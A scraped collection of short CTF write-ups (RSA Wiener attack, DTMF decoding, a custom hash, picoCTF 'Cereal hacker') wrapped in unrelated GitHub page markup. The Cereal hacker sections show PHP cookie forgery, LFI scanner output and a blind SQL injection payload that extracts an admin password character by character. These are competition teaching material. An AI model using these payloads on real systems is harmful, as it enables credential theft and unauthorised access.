<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/redpwn/picoCTF-2019/tree-commit/3f80959d83de47efcb7c6d28d8732d795aff9175/pwn/heap-overflow" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/redpwn/picoCTF-2019/file-list/master/pwn/heap-overflow"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>vuln</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# BSides Delhi CTF 2019 : BabyRSA
**category** : crypto
**points** : 930
## write-up
This is yet another RSA challenge `salt` can be decrypt directly Then, use wiener attack to factor `n = p * q` and get `p1 * p2` Simply gcd `p1 * p2` with `n1` and `n2` and get all the prime factors Note that `gcd(e1, (p1 - 1) * (q1 - 1)) != 1` and `gcd(e2, (p2 - 1) * (q2 - 1)) != 1`, we can't directly decrypt `magic` Luckily, `gcd(e1, q1 - 1) == 2` and `gcd(e2, q2 - 1) == 2` We can get `m ** 2 % q1` and `m ** 2 % q2` Then use the same technique as in Rabin cryptosystem, which is modular square root and chinese remainder theorem
flag: `bsides_delhi{JuG1iNg_WiTh_RS4}`
# other write-ups and resources |
# Insider attack 2
## Secret - Points: 300
> [20191009-secretarys-room.mp3](20191009-secretarys-room.mp3)
The sound file is a recording in an office where you have to get the PIN code of a safe by decoding the DTMF tones. I extracted the relevant part of the file with `audacity` and used [this](https://github.com/hfeeki/dtmf/blob/master/dtmf-decoder.py) script to decode it.
flag: `{*57984#}` |
# Cereal hacker 1 - Points: 450Challenge Description: `Login as admin. https://2019shell1.picoctf.com/problem/32256/ or http://2019shell1.picoctf.com:32256`
The first thoughts about this challenge was SQL injection or cookie manipulation. When we go to the given URL it was redirecting to the login page. So I have tried sqlmap but it wasn't SQLi. Url structure was suspicious so I tried lfi but it wasn't LFI too. About my other thought, we need to find valid credentials or maybe a page disclosure cookie name.
## Initial file scan:
******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://2019shell1.picoctf.com:32256/index.php?file=FUZZ Total requests: 4594 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000437: 200 26 L 71 W 1109 Ch "admin" 000001166: 200 7 L 18 W 501 Ch "cookie" 000001958: 200 7 L 18 W 501 Ch "head" 000002092: 200 7 L 18 W 501 Ch "index" 000002411: 200 35 L 82 W 1424 Ch "login" Total time: 66.95597 Processed Requests: 4594 Filtered Requests: 4589 Requests/sec.: 68.61225We found the admin page and my thought was correct. It's cookie manipulation challenge
<button onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>After this discovery, we need to figure out how it's working, how we can leverage it? With given hint, I tried all SQL injection strings and sqlmap but it didn't work. Thanks to my teammate who tried to log in as guest and it worked :)Finally, we got user_info cookie as guest user.
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253DIts basic urlencoded base64 string.
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}Thanks to given hint we know how to leverage this object. Trying SQLi strings manually was boring and I wrote a script for it. You can find it named as `cereal.php`. Simply its getting **[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)**'s Auth Bypass wordlist and using that payload on password field then encoding back to cookie and try to bypass the login.
Flag : picoCTF{2eb6a9439bfa7cb1fc489b237de59dbf}
# Cereal hacker 2 - Points: 500Challenge Description:
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
After solving the first part of this challenge we know what to do but it will be harder :) So in this part, we need to get the admin's password as we did in the previous part it's gonna be object-injection but what makes it harder?Our previous payload is not working but guest cookie is working great. So either it's not SQLi anymore or they are using prepared statements. Looks like we need to repeat all process from before. SQLi not working!That's odd, seems like LFI is working :)
_ __ _ _ | |/ /__ _ __| (_)_ __ ___ _ _ ___ | ' // _` |/ _` | | '_ ` _ \| | | / __| | . \ (_| | (_| | | | | | | | |_| \__ \ |_|\_\__,_|\__,_|_|_| |_| |_|\__,_|___/ v1.1 - LFI Scan & Exploit Tool (@hc0d3r - P0cL4bs Team) [20:25:53] [INFO] starting scanning the URL: https://2019shell1.picoctf.com/problem/62195/index.php?file=regular_user [20:25:53] [INFO] testing if URL have dynamic content ... [20:25:55] [INFO] URL dont have dynamic content [20:25:55] [INFO] analyzing 'file' parameter ... [20:25:55] [INFO] checking for common error messages [20:25:55] [INFO] using random url: https://2019shell1.picoctf.com/problem/62195/index.php?file=YyvfvO06U33sb8nmV3L [20:25:56] [WARNING] no errors found [20:25:56] [INFO] starting source disclosure test ... [20:25:57] [INFO] target probably vulnerable, hexdump: 0x00000000: 3c3f 7068 700a 7265 7175 6972 655f 6f6e ...<body> 0x00000040: 0a09 3c64 6976 2063 6c61 7373 3d22 636f ..<div.class="co 0x00000050: 6e74 6169 6e65 7222 3e0a 0909 3c64 6976 ntainer">...<div 0x00000060: 2063 6c61 7373 3d22 726f 7722 3e0a 0909 .class="row">... 0x00000070: 093c 6469 7620 636c 6173 733d 2263 6f6c .<div.class="col
The first file I downloaded was [admin.php](https://github.com/enjloezz/picoctf_cereal/blob/master/admin.php) but there was nothing useful so the second one is [cookie.php](https://github.com/enjloezz/picoctf_cereal/blob/master/cookie.php).Now we know why SQLi is not working. They are using prepared statements on permissions class. But siteuser class is not using. `$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';` YAAAAAY ! We can exploit this query :) If you participate in picoCTF2017 you know this method. Its error-based SQL injection. The idea is if the return value of this query is true it will say `Find the admin's password!`. So we can exfiltrate the admin's password char by char. For example;
admin' and 1=0 union all select admin from pico_ch2.users where admin=1 and substr(password,1,1)='a' -- If we use this payload on username field if the first character of the admin's password is `a` it will print `Find the admin's password!`. I wrote this [script](https://github.com/enjloezz/picoctf_cereal/blob/master/cereal2.php) to solve it.
Flag : picoctf{c9f6ad462c6bb64a53c6e7a6452a6eb7}PS: Substr is case insensitive. |
# Hash Hash Hash
## Welcome to the real deal - Points: 200
> Recently, n00b learned about **Hashing**.>> But, he finds nothing special in it. So he decides to make a Hashing algorithm himself.>> Now he is boasting about it. He is so confident that he even provided the algorithm and challenges everyone to crack it.>> Put him back onto the ground>> [hash.py](hash.py)>> [hashed.txt](hashed.txt)>
Each character was hashed separately with a prime number. Since we know the flag format, we know the first character must be `f`, so we can brute-force all prime numbers till the hash function calculates the same value of the first character in the provided hash. When we have found the used prime number we can generate a lookup table for all printable characters that could be part of the `flag` and calculate their hashed values. Then we can simply lookup the hashed values to get the actual characters.
flag: `flag{Pr1m35_4r3_4W3s0m3}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeups/csaw-2019-quals/crypto/byte_me at master · jiafuei/ctf-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CADC:68DA:20B46A2A:21B120FC:64122425" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3b0dca41df283f6a0bf63a2878169c4b1576d49efa1a0e718be2cf5090279b4d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQURDOjY4REE6MjBCNDZBMkE6MjFCMTIwRkM6NjQxMjI0MjUiLCJ2aXNpdG9yX2lkIjoiMTkxMDM3NDA5MTcwMzA2NzY4NSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="c5b3700765d3ba7d7d54e96fb08adf8f90f8c1a577f5b76260be7bd996f4cee7" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:111356349" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
